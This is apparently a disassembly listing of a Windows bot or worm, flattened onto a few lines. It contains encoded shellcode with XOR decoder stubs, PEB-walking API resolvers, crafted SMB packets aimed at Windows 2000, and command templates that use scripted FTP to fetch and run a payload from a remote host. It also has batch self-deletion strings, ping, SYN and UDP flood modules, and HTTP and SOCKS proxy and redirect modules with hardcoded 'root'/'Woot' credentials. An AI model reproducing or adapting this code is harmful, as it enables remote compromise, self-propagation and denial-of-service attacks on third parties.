loc_445AAD: ; CODE XREF: sub_445A8A+2Dj lodsb cmp al, ah jz short loc_445AB9 ror edi, 0Dh add edi, eax jmp short loc_445AAD ; --------------------------------------------------------------------------- loc_445AB9: ; CODE XREF: sub_445A8A+26j cmp edi, [esp+20h+arg_0] jnz short loc_445AA0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_445ADA: ; CODE XREF: sub_445A8A:loc_445AA0j ; sub_445A8A:loc_445ADAj jmp short loc_445ADA sub_445A8A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_445AE0 proc near ; DATA XREF: sub_425100+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_445B32 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_445AFD: ; CODE XREF: sub_445AE0+38j jecxz short loc_445B2D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_445B08: ; CODE XREF: sub_445AE0+32j lodsb test al, al jz short loc_445B14 ror edx, 0Dh add edx, eax jmp short loc_445B08 ; --------------------------------------------------------------------------- loc_445B14: ; CODE XREF: sub_445AE0+2Bj cmp edx, [esp+arg_0] jnz short loc_445AFD mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_445B2D: ; CODE XREF: sub_445AE0:loc_445AFDj mov [esp+arg_0], ebx retn sub_445AE0 endp ; =============== S U B R O U T I N E ======================================= sub_445B32 proc near ; CODE XREF: sub_445AE0+7p ; FUNCTION CHUNK AT 00445B6A SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_445B4B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_445B56 ; --------------------------------------------------------------------------- loc_445B4B: ; CODE XREF: sub_445B32+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_445B56: ; CODE XREF: sub_445B32+14j pop edi xor esi, esi pusha push esi jmp short loc_445B6A sub_445B32 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445B5D proc near ; CODE XREF: sub_445B32:loc_445B6Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_445B5D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445B32 loc_445B6A: ; CODE XREF: sub_445B32+29j call sub_445B5D ; END OF FUNCTION CHUNK FOR sub_445B32 ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_445C04 dd 23h dword_445C08 dd 60h dword_445C0C dd 62B0606h, 2050501h, 0A0hdword_445C18 dd 0A1h dword_445C1C dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424920+16Do align 4 loc_445C28: ; DATA XREF: sub_424920+100o jmp short near ptr dword_445C30 ; --------------------------------------------------------------------------- align 10h dword_445C30 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425100+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- jmp short loc_445CEA ; =============== S U B R O U T I N E ======================================= sub_445CDA proc far ; CODE XREF: sub_445CDA:loc_445CEAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_445CE2: ; CODE XREF: sub_445CDA+Cj xor byte ptr [ebx+ecx], 99h loop loc_445CE2 jmp short loc_445CEF ; --------------------------------------------------------------------------- loc_445CEA: ; CODE XREF: ___:00445CD8j call near ptr sub_445CDA loc_445CEF: ; CODE XREF: sub_445CDA+Ej jo short loc_445D53 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_445D71 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_445D53: ; CODE XREF: sub_445CDA:loc_445CEFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_445D71: ; CODE XREF: sub_445CDA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_445CDA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_445E18: ; DATA XREF: sub_4257F0+12Bo ; sub_4257F0+135o ... jmp short loc_445E2A ; =============== S U B R O U T I N E ======================================= sub_445E1A proc near ; CODE XREF: sub_445E1A:loc_445E2Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_445E22: ; CODE XREF: sub_445E1A+Cj xor byte ptr [edx+ecx], 99h loop loc_445E22 jmp short loc_445E2F ; --------------------------------------------------------------------------- loc_445E2A: ; CODE XREF: ___:loc_445E18j call sub_445E1A loc_445E2F: ; CODE XREF: sub_445E1A+Ej jo short near ptr dword_445DA8+1Eh cwde cdq cdq retn sub_445E1A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh word_445EC8 dw 4B9Dh ; DATA XREF: sub_4257F0+105w dw 59AAh dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh dd 99EDFCF2h, 0 dword_445FB0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:00425E52o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_44603C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425E87o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_4460E8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425EB6o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4461C8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+5Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h db 43h, 0, 24h dword_44621F dd 3F000000h dword_446223 dd 3F3F3F3Fh byte_446227 db 0 ; DATA XREF: sub_4257F0+B4r dd 0 dword_44622C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2C2o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_446298 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2F5o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44633C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+3FAo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4463BC dd offset sub_401492+3 ; DATA XREF: sub_4257F0+42Bo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_446450 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+335o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4464BC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+368o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_446530 dd 0 dd offset byte_40A893+7 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset byte_40A893+7 dd 1, 0 dd 1, 0 dd offset byte_40A893+7 dd 1, 0 dd 1, 0 dd offset byte_40A893+7 dd 1, 0 dd 1, 3 dup(0) dword_4465BC dd 1004600h ; sub_4257F0+24Fr dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0) dword_4467A4 dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o align 4 dd 0 aEchoDelFC_batC db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o align 10h aEchoDel_pifC_b db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo dd 0 aEchoSC_bat db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o align 10h dd 0 aEchoFtpNVS_pif db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o align 4 dd 0 aEcho@echoOffC_ db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo align 8 aEchoBye_pif db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo align 10h aEchoGetS_pif db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o align 4 dd 0 aEchoBinary_pif db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao align 8 aEchoUserAA_pif db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo align 10h dd 0 aEchoOpenSD_pif db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o align 10h dword_4468F0 dd 6EB06EBh align 8 dword_4468F8 dd 73255C5Ch, 6370695Ch, 24h ; ___:00426352o dword_446904 dd 1CEC8166h dword_446908 dd 0E4FF07h align 10h dword_446910 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44695C dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0 dd 1, 2 dup(0) dword_44698C dd 0FAh, 2, 0 dd 2, 0 dd 0FAh, 2 dup(0) dword_4469AC dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh ; --------------------------------------------------------------------------- loc_4469B6: ; CODE XREF: ___:004469C0j xor dword ptr [ebx+13h], 889097A8h sub ebx, 0FFFFFFFCh loop loc_4469B6 sub [ebx+6Fh], edx db 67h push edi push 7CC274D4h frstor byte ptr [eax+51h] push 1CC8776Fh cld lodsb mov word ptr ds:95EB23B4h[edx*8], ds ; --------------------------------------------------------------------------- db 0F0h, 0A9h, 78h dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0) aOpenSDIiEchoUs db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge' ; DATA XREF: sub_426070+D6o db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 align 4 dd 6 dup(0) aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o align 8 word_446C18 dw 2EBh ; DATA XREF: ___:00426331r align 4 dword_446C1C dd 215h dd 0 dword_446C24 dd 20804h dd 0 ; --------------------------------------------------------------------------- loc_446C2C: ; DATA XREF: sub_4267D0+CCo jmp short loc_446C30 ; --------------------------------------------------------------------------- loc_446C2E: ; CODE XREF: ___:loc_446C30p jmp short loc_446C35 ; --------------------------------------------------------------------------- loc_446C30: ; CODE XREF: ___:loc_446C2Cj call loc_446C2E loc_446C35: ; CODE XREF: ___:loc_446C2Ej pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_446C3A dw 0FFFFh ; DATA XREF: sub_4267D0+D3w db 80h, 73h, 0Eh byte_446C3F db 0FFh ; DATA XREF: sub_4267D0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_446C44: ; DATA XREF: sub_4267D0+A7o jmp short loc_446C48 ; --------------------------------------------------------------------------- loc_446C46: ; CODE XREF: ___:loc_446C48p jmp short loc_446C4D ; --------------------------------------------------------------------------- loc_446C48: ; CODE XREF: ___:loc_446C44j call loc_446C46 loc_446C4D: ; CODE XREF: ___:loc_446C46j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_446C51 db 0FFh ; DATA XREF: sub_4267D0+AEw dw 7380h db 0Ch byte_446C55 db 0FFh ; DATA XREF: sub_4267D0+B4w dw 0E243h dd 0F9h dword_446C5C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_426560+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_446CC0 dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_446CD0 dd 74656720h byte_446CD4 db 20h ; DATA XREF: sub_426560+A2r dword_446CD5 dd 0E8006A00h dword_446CD9 dd 17h ; sub_426560+D2r dword_446CDD dd 0E8C30175h dword_446CE1 dd 1 ; sub_426560+E7r byte_446CE5 db 0, 6Ah, 0 ; DATA XREF: sub_426560+110o dd 7E8h db 0, 0Fh, 84h dword_446CEF dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_427740+22o align 4 aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_427800+D0o align 4 dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427800+B4o align 10h dd 2 dup(0) aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427800+43o align 4 dd 0 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_427980+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_427980+2Bo align 10h aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_427980+23o align 10h dd 0 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_427980+Co align 10h aForsyn db 'forsyn',0 ; DATA XREF: sub_427C90+22o align 4 aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o align 10h dd 0 aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o align 10h dd 0 aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o align 10h aSyn db 'syn',0 ; DATA XREF: sub_4281A0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o align 10h aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o align 4 dd 0 aUdp db 'udp',0 ; DATA XREF: sub_428880+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_428940+C0o align 10h dd 0 aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o align 10h dd 0 off_446EF4 dd offset byte_455247 ; DATA XREF: sub_4290B0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429170+AAo dd 3 dup(0) aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429170+33o align 4 dd 3 dup(0) aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A611o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 4 dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A5ACo db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 10h dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A222o db 0Dh,0Ah,0 dd 2 dup(0) aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A091o ; ___:0042A0A7o align 10h aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A073o ; ___:0042A089o align 10h aConnection db 'Connection:',0 ; DATA XREF: ___:00429EB4o align 10h aChunked db 'chunked',0 ; DATA XREF: ___:00429E71o dd 0 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429E25o align 10h dd 0 aContentLength db 'Content-Length:',0 ; DATA XREF: ___:00429D8Do align 8 aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429BEEo db 'Connection: close',0Dh,0Ah db '%s',0 align 10h aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429BB9o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 4 dd 0 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: ___:loc_429ABBo ; ___:00429F00o align 4 dd 0 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: ___:00429A90o align 10h dd 0 asc_4471E4 db 0Dh,0Ah,0 ; DATA XREF: ___:0042997Co ; ___:00429A3Co ... align 4 aHttprox db 'HTTPROX',0 ; DATA XREF: ___:00429947o dd 0 aConnect db 'connect',0 ; DATA XREF: ___:00429712o align 10h aConnect_0 db 'CONNECT',0 ; DATA XREF: ___:004296DDo dd 0 off_44720C dd offset byte_544547 ; DATA XREF: ___:00429618o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_42AC10+22o align 4 aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AE10+69o align 10h aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AE10+2Eo dd 2 dup(0) aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AE10+21o dd 2 dup(0) aSocks4 db 'Socks4',0 ; DATA XREF: sub_42AFF0+22o ; sub_42B380+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o align 4 dd 0 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co align 4 dd 2 dup(0) dword_4472EC dd 1000005h, 0 dword_4472F4 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42CB70+20Fo align 10h dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42CB70+3Fo align 10h aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042D725o dd 3 dup(0) aRoot db 'root',0 ; DATA XREF: ___:0042D6B1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:004473BCo align 4 aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 4 dd 0 aCalloc db 'calloc',0 align 4 aSetsockopt db 'setsockopt',0 align 10h dd 0 aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42DB00+49o ; sub_42DB00:loc_42DBBDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o align 10h aRead db 'read',0 ; DATA XREF: sub_42DF40:loc_42E0DCo align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_42E3C0+72o dd 0 aUserS db 'USER %s',0 ; DATA XREF: sub_42E3C0+3Do align 10h aWrite db 'write',0 align 4 aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42E490+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o align 8 dword_447498 dd 524F5453h byte_44749C db 0 ; DATA XREF: sub_42E5B0+EDr align 10h dword_4474A0 dd 52544552h byte_4474A4 db 0 ; DATA XREF: sub_42E5B0+D3r align 4 dword_4474A8 dd 5453494Ch byte_4474AC db 0 ; DATA XREF: sub_42E5B0+B8r align 10h dword_4474B0 dd 54534C4Eh byte_4474B4 db 0 ; DATA XREF: sub_42E5B0+9Er align 4 dword_4474B8 dd 45505954h, 632520h, 0 ; ___:0042F9BAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42E5B0+2Do align 10h dd 2 dup(0) aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 10h dd 0 aListen db 'listen',0 align 4 aBind db 'bind',0 align 4 aGetsockname db 'getsockname',0 dd 0 aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo align 4 dd 0 aPasv db 'PASV',0 ; DATA XREF: sub_42E870+B4o align 4 aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o align 4 aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o align 10h dd 0 aTimedOutWaitin db 'timed out waiting for connection',0 align 4 dd 0 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 4 dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo align 4 dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo align 4 dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042F3CEo align 8 aSyst db 'SYST',0 ; DATA XREF: ___:0042F42Do align 10h aMkdS db 'MKD %s',0 ; DATA XREF: 